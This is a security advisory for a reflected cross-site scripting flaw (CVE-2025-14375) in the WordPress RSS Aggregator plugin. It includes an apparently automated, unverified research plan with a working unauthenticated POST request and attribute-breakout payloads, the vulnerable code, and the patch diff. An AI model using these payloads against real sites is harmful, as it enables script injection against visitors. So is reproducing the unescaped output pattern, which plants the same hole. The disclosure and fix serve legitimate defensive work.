CVE-2025-14375

RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.10 - Reflected Cross-Site Scripting via className

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
5.0.11
Patched in
1d
Time to patch

Description

The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘className’ parameter in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.10
PublishedJanuary 15, 2026
Last updatedJanuary 16, 2026
Affected pluginwp-rss-aggregator

What Changed in the Fix

Changes introduced in v5.0.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# CVE-2025-14375: Reflected XSS in RSS Aggregator via `className` ## 1. Vulnerability Summary The **WP RSS Aggregator** plugin (up to version 5.0.10) is vulnerable to Reflected Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of the `className` parameter within its re…

Show full research plan

CVE-2025-14375: Reflected XSS in RSS Aggregator via className

1. Vulnerability Summary

The WP RSS Aggregator plugin (up to version 5.0.10) is vulnerable to Reflected Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of the className parameter within its rendering engine. Specifically, the plugin's AJAX handler for rendering displays accepts a JSON-encoded data object and passes it to the Renderer class. The ListLayout and other layout implementations then output the htmlClass attribute (mapped from className or provided directly) into the HTML template without using esc_attr(), allowing for attribute breakout and script injection.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Actions:
    • wp_ajax_nopriv_wpra.render.display (Unauthenticated)
    • wp_ajax_wpra.render.display (Authenticated)
  • Vulnerable Parameter: data (A JSON string containing display attributes).
  • Payload Key: className or htmlClass.
  • Authentication: Not required (via nopriv action).
  • Preconditions: A valid "Display" ID must exist in the database (default display usually created on install).

3. Code Flow

  1. Entry Point: In core/modules/renderer.php, the $ajaxRender anonymous function is registered to wp_ajax_nopriv_wpra.render.display.
  2. Input Parsing: The function retrieves the data parameter from $_POST via filter_input(INPUT_POST, 'data') and performs json_decode.
  3. Validation: It verifies that id and page within the decoded JSON are numeric.
  4. Rendering: It calls $renderer->renderArgs($data, 'shortcode') in core/src/Renderer.php.
  5. Layout Creation: renderArgs calls renderDisplay, which instantiates a layout (e.g., RebelCode\Aggregator\Core\Display\ListLayout). The attributes from the JSON are used to populate the DisplaySettings object ($this->ds).
  6. The Sink: In core/src/Display/ListLayout.php, the render() method uses a heredoc to generate HTML:
    return <<<HTML
        <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">
            <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}">
                {$listItems}
            </{$listType}>
        </div>
    HTML;
    
    The variable {$this->ds->htmlClass} is injected directly into the class attribute of the div and li tags without any escaping (missing esc_attr()).

4. Nonce Acquisition Strategy

According to the source code in core/modules/renderer.php, the wp_ajax_nopriv_wpra.render.display and wp_ajax_wpra.render.display actions do not implement any nonce checks.

// core/modules/renderer.php
$ajaxRender = function () use ( $renderer ) {
    $dataJson = filter_input( INPUT_POST, 'data' );
    $data = json_decode( $dataJson, true );

    if ( json_last_error() !== JSON_ERROR_NONE ) {
        // ... die
    }

    $id = $data['id'] ?? null;
    $page = $data['page'] ?? null;

    if ( ! is_numeric( $id ) || ! is_numeric( $page ) ) {
        // ... die
    }

    echo $renderer->renderArgs( $data, 'shortcode' );
    die();
};

Since the action is unauthenticated and lacks a check_ajax_referer or wp_verify_nonce call, no nonce is required for exploitation.

5. Exploitation Strategy

The exploit involves sending a crafted POST request to the AJAX endpoint with a JSON payload containing the XSS vector in the htmlClass or className property.

Payload Construction

We need to break out of the class attribute:
" onmouseover="alert(document.domain)" data-x="

Step-by-Step Plan

  1. Preparation: Ensure at least one display exists to satisfy the is_numeric($id) check.
  2. Request: Send an unauthenticated POST request to /wp-admin/admin-ajax.php.
  3. HTTP Request Details:
    • Method: POST
    • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=wpra.render.display&data={"id":"1","page":"1","htmlClass":"\" onmouseover=\"alert(document.domain)\" data-x=\""}
      

6. Test Data Setup

  1. Identify/Create a Display: Use WP-CLI to ensure a display exists.
    # Check existing displays
    wp post list --post_type=wprss_display
    
    # If none exist, the plugin usually creates a default one (ID 1 or similar).
    # We can also check the wp_options for the default display ID
    wp option get wpra_default_display_id
    
  2. Ensure Feed Items exist: The renderer needs items to display the list.
    # Create a dummy feed source and import
    wp post create --post_type=wprss_feed --post_title="Test Feed" --post_status=publish
    # (The plugin will normally handle the import, but for PoC we just need the IDs to be valid)
    

7. Expected Results

  • The server should return a 200 OK response.
  • The response body should contain the rendered HTML for the display.
  • The injected payload should be visible in the HTML:
    <div class="wp-rss-aggregator wpra-list-template " onmouseover="alert(document.domain)" data-x="">
    
  • When a user hovers over the rendered display container, the JavaScript alert(document.domain) will execute.

8. Verification Steps

  1. Check Output: Inspect the response body of the http_request for the string onmouseover="alert(document.domain)".
  2. DOM Verification: Use browser_navigate to the page where a display is rendered (if applicable) or use browser_eval on a test page to simulate the AJAX call and check if the returned HTML is rendered into the DOM.

9. Alternative Approaches

  • Nested Property: If htmlClass is not directly accepted, try nesting it inside settings: {"id":"1","page":"1","settings":{"htmlClass":"..."}}.
  • Shortcode Context: Attempt to trigger the XSS by placing a shortcode on a page and observing the rendered output:
    [wp-rss-aggregator id="1" className="\"><script>alert(1)</script>"]
    (Note: This requires a Contributor+ account, whereas the AJAX method is unauthenticated).
  • Property Mapping: The description says className. If htmlClass fails, try className specifically in the JSON, as the Renderer might map Gutenberg block attributes to display settings.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP RSS Aggregator plugin is vulnerable to unauthenticated Reflected Cross-Site Scripting (XSS) because its AJAX-based display rendering engine fails to sanitize or escape user-provided layout classes. Attackers can inject arbitrary JavaScript by providing a crafted JSON payload to the 'wpra.render.display' AJAX action, which executes when a victim visits a link or executes a script-triggering action.

Vulnerable Code

// core/modules/renderer.php:42
$ajaxRender = function () use ( $renderer ) {
    $dataJson = filter_input( INPUT_POST, 'data' );
    $data = json_decode( $dataJson, true );

    if ( json_last_error() !== JSON_ERROR_NONE ) {
        status_header( 400 );
        echo 'Could not decode JSON.';
        die();
    }

    $id = $data['id'] ?? null;
    $page = $data['page'] ?? null;

    if ( ! is_numeric( $id ) || ! is_numeric( $page ) ) {
        status_header( 400 );
        echo 'Invalid ID or page number.';
        die();
    }

    echo $renderer->renderArgs( $data, 'shortcode' );
    die();
};

---

// core/src/Display/ListLayout.php:36
return <<<HTML
    <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">
        <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}">
            {$listItems}
        </{$listType}>
    </div>
HTML;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.10/core/modules/renderer.php /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.11/core/modules/renderer.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.10/core/modules/renderer.php	2025-07-24 12:00:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.11/core/modules/renderer.php	2026-01-14 10:19:30.000000000 +0000
@@ -55,6 +55,12 @@
 				die();
 			}
 
+			$nonce = $data['_wpnonce'] ?? '';
+			if ( ! wp_verify_nonce( $nonce, 'wpra_render_display' ) ) {
+				status_header( 403 );
+				echo 'Nonce verification failed.';
+				die();
+			}
 			// The $data array now contains all persisted shortcode attributes
 			// from hx-vals, including id, page, sources, limit, exclude, pagination, template.
 			// Pass the whole $data array to renderArgs.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.10/core/src/Display/ListLayout.php /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.11/core/src/Display/ListLayout.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.10/core/src/Display/ListLayout.php	2025-07-24 12:00:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.11/core/src/Display/ListLayout.php	2026-01-14 10:19:30.000000000 +0000
@@ -33,9 +33,10 @@
 
 		$listStart = ( $state->page - 1 ) * $this->ds->numItems + 1;
 		$listItems = $this->renderItems( $posts, fn ( IrPost $post ) => $this->item( $post ) );
+		$htmlClass = esc_attr( $this->ds->htmlClass );
 
 		return <<<HTML
-			<div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">
+			<div class="wp-rss-aggregator wpra-list-template {$htmlClass}">
 				<{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}">
 					{$listItems}
 				</{$listType}>
@@ -44,8 +45,10 @@
 	}
 
 	private function item( IrPost $post ): string {
+		$htmlClass = esc_attr( $this->ds->htmlClass );
+
 		return <<<HTML
-			<li class="wpra-item feed-item {$this->ds->htmlClass}">
+			<li class="wpra-item feed-item {$htmlClass}">
 				{$this->renderTitle($post)}
 
 				<div class="wprss-feed-meta">

Exploit Outline

The exploit targets the AJAX action 'wpra.render.display' which is accessible to unauthenticated users via 'wp_ajax_nopriv'. An attacker constructs a POST request to /wp-admin/admin-ajax.php with the following parameters: 'action=wpra.render.display' and a 'data' parameter containing a JSON object. This JSON object must include a valid numeric 'id' (for a display) and 'page'. The malicious payload is placed in the 'htmlClass' or 'className' key within the JSON. Because the plugin does not escape this value before outputting it into the 'class' attribute of the rendered display div, the attacker can break out of the attribute and inject event handlers (e.g., '" onmouseover="alert(document.domain)"').

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.